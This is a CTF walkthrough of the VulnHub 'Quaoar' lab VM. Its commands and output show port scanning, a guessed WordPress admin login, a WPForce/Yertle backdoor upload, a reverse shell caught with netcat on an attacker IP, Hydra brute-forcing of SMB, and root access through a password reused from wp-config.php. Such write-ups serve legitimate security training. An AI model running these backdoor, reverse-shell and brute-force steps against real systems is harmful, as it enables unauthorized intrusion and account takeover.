A relatively new set of VulnHub CTFs came online in March 2017. This post is about the first and easiest one, named “Quaoar“.

This post will be a walk-through of my exploitation of this system.

The first thing I like to start off with on any box is a full TCP port scan. When you boot up the VM, it shows you the IP it gets from DHCP.

root@kali:~# nmap 10.0.1.21 -sV -p- Starting Nmap 7.25SVN ( https://nmap.org ) at 2017-03-17 22:32 EDT Nmap scan report for 10.0.1.21 Host is up (0.000089s latency). Not shown: 65526 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0) 53/tcp open domain ISC BIND 9.8.1-P1 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) 110/tcp open pop3 Dovecot pop3d 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 143/tcp open imap Dovecot imapd 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 993/tcp open ssl/imap Dovecot imapd 995/tcp open ssl/pop3 Dovecot pop3d MAC Address: 00:0C:29:C7:A8:C1 (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Seeing there is a web port open, a examine it first. Viewing the source code is not particularly interesting:

<div> <a href="Hack_The_Planet.jpg"> <img src="Quaoar.jpg" width="100%" height="100%"/> </a> </div>

The next thing I typically check is the robots.txt file to see if there are any interesting entries. In this case, there were.

Disallow: Hackers Allow: /wordpress/ ____ # /___ \_ _ __ _ ___ __ _ _ __ # // / / | | |/ _` |/ _ \ / _` | '__| #/ \_/ /| |_| | (_| | (_) | (_| | | #\___,_\ \__,_|\__,_|\___/ \__,_|_|

For good measure, I also run Nikto and Dirbuster.

root@kali:~# nikto -host http://10.0.1.21 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 10.0.1.21 + Target Hostname: 10.0.1.21 + Target Port: 80 + Start Time: 2017-03-17 22:33:27 (GMT-4) --------------------------------------------------------------------------- + Server: Apache/2.2.22 (Ubuntu) + Server leaks inodes via ETags, header found with file /, inode: 133975, size: 100, mtime: Mon Oct 24 00:00:10 2016 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3 + Entry '/wordpress/' in robots.txt returned a non-forbidden or redirect HTTP code (200) + "robots.txt" contains 2 entries which should be manually viewed. + Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current. + Uncommon header 'tcn' found, with contents: list + Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS + OSVDB-3233: /icons/README: Apache default file found. + /wordpress/: A WordPress installation was found. + 8348 requests: 0 error(s) and 13 item(s) reported on remote host + End Time: 2017-03-17 22:33:41 (GMT-4) (14 seconds) --------------------------------------------------------------------------- + 1 host(s) tested

Browsing to the WordPress site shows a pretty simple page. Now, anytime I see a WordPress site I usually run straight to WPScan, but it this case, I just tried to guess the username and password. It was simply “admin:admin.”

As it turns out, I had built a suite of tools for WordPress post-exploitation, and this was just the time to use them. I went and grabbed the WPForce code off of github and ran Yertle.

root@kali:~# git clone https://github.com/n00py/WPForce.git Cloning into 'WPForce'... remote: Counting objects: 137, done. remote: Compressing objects: 100% (75/75), done. remote: Total 137 (delta 60), reused 137 (delta 60), pack-reused 0 Receiving objects: 100% (137/137), 101.64 KiB | 0 bytes/s, done. Resolving deltas: 100% (60/60), done. Checking connectivity... done. root@kali:~# cd WPForce/

root@kali:~/WPForce# python yertle.py -u admin -p admin -t http://10.0.1.21/wordpress --interactive _..---.--. __ __ _ _ .'\ __|/O.__) \ \ / /__ _ __| |_| | ___ /__.' _/ .-'_\ \ V / _ \ '__| __| |/ _ \. (____.'.-_\____) | | __/ | | |_| | __/ (_/ _)__(_ \_)\_ |_|\___|_| \__|_|\___| (_..)--(.._)'--' ~n00py~ Post-exploitation Module for WordPress Backdoor uploaded! Upload Directory: dlerjql os-shell> id Sending command: id uid=33(www-data) gid=33(www-data) groups=33(www-data)

I was able to then send commands to the server and have them execute. Wanting a full shell, I used the reverse shell option and caught the shell using netcat.

root@kali:~/WPForce# python yertle.py -u admin -p admin -t http://10.0.1.21/wordpress --reverse --ip 10.0.1.16 --port 8080 _..---.--. __ __ _ _ .'\ __|/O.__) \ \ / /__ _ __| |_| | ___ /__.' _/ .-'_\ \ V / _ \ '__| __| |/ _ \. (____.'.-_\____) | | __/ | | |_| | __/ (_/ _)__(_ \_)\_ |_|\___|_| \__|_|\___| (_..)--(.._)'--' ~n00py~ Post-exploitation Module for WordPress Backdoor uploaded! Upload Directory: sdzemmc Sending reverse shell to 10.0.1.16 port 8080

root@kali:~/WPForce# nc -lvp 8080 listening on [any] 8080 ... 10.0.1.21: inverse host lookup failed: Unknown host connect to [10.0.1.16] from (UNKNOWN) [10.0.1.21] 56951 Linux Quaoar 3.2.0-23-generic-pae #36-Ubuntu SMP Tue Apr 10 22:19:09 UTC 2012 i686 i686 i386 GNU/Linux 22:40:29 up 9 min, 0 users, load average: 0.00, 0.04, 0.04 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data)

While my shell waited for me, I went on to enumerate the other ports. I ran enum4linux to enumerate information about the Samba share.

root@kali:~# enum4linux 10.0.1.21 Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri Mar 17 23:22:56 2017 ========================== | Target Information | ========================== Target ........... 10.0.1.21 RID Range ........ 500-550,1000-1050 Username ......... '' Password ......... '' Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none ========================== | Users on 10.0.1.21 | ========================== index: 0x1 RID: 0x1f5 acb: 0x00000010 Account: nobody Name: nobody Desc: index: 0x2 RID: 0x3e8 acb: 0x00000010 Account: viper Name: viper Desc: index: 0x3 RID: 0x3ea acb: 0x00000010 Account: wpadmin Name: Desc: index: 0x4 RID: 0x3e9 acb: 0x00000010 Account: root Name: root Desc:

What I found most interesting was the user accounts. I was also able to see similar information from the /etc/passwd in my shell.

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false messagebus:x:103:107::/var/run/dbus:/bin/false colord:x:104:109:colord colour management daemon,,,:/var/lib/colord:/bin/false whoopsie:x:105:112::/nonexistent:/bin/false avahi:x:106:115:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false bind:x:107:117::/var/cache/bind:/bin/false postfix:x:108:118::/var/spool/postfix:/bin/false dovecot:x:109:120:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false dovenull:x:110:65534:Dovecot login user,,,:/nonexistent:/bin/false landscape:x:111:121::/var/lib/landscape:/bin/false libvirt-qemu:x:112:106:Libvirt Qemu,,,:/var/lib/libvirt:/bin/false libvirt-dnsmasq:x:113:123:Libvirt Dnsmasq,,,:/var/lib/libvirt/dnsmasq:/bin/false sshd:x:114:65534::/var/run/sshd:/usr/sbin/nologin postgres:x:115:124:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash tomcat6:x:116:126::/usr/share/tomcat6:/bin/false wpadmin:x:1001:1001::/home/wpadmin:/bin/sh

I took all the usernames that had a login shell and I brute forced them against SMB with Hydra. This quickly told me that the password for the account wpadmin, which was “wpadmin”. I could now SSH into the system with that account, and have a real shell.

Now at this point I had spent a couple hours trying to exploit the kernel, exploit dovecot, search for setuid binaries, find passwords in log files, look for weak permissions to no avail. What turned out to be the privilege escalation method was quite more simple than what I had been trying.

WordPress is a PHP based web application. It also uses a SQL server on the backend to store its data. In order to connect to the database, it must have the password to the database. WordPress stores that data in wp-config.php.

When we cat the wp-config.php, we see the database password:

<?php /** * The base configurations of the WordPress. * * This file has the following configurations: MySQL settings, Table Prefix, * Secret Keys, WordPress Language, and ABSPATH. You can find more information * by visiting {@link http://codex.wordpress.org/Editing_wp-config.php Editing * wp-config.php} Codex page. You can get the MySQL settings from your web host. * * This file is used by the wp-config.php creation script during the * installation. You don't have to use the web site, you can just copy this file * to "wp-config.php" and fill in the values. * * @package WordPress */ // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define('DB_NAME', 'wordpress'); /** MySQL database username */ define('DB_USER', 'root'); /** MySQL database password */ define('DB_PASSWORD', 'rootpassword!');

While this password is specifically for MySQL, it could also be the password for the root user account, and in this case it was. At this point all I had to do was “su -” and enter the password. Done!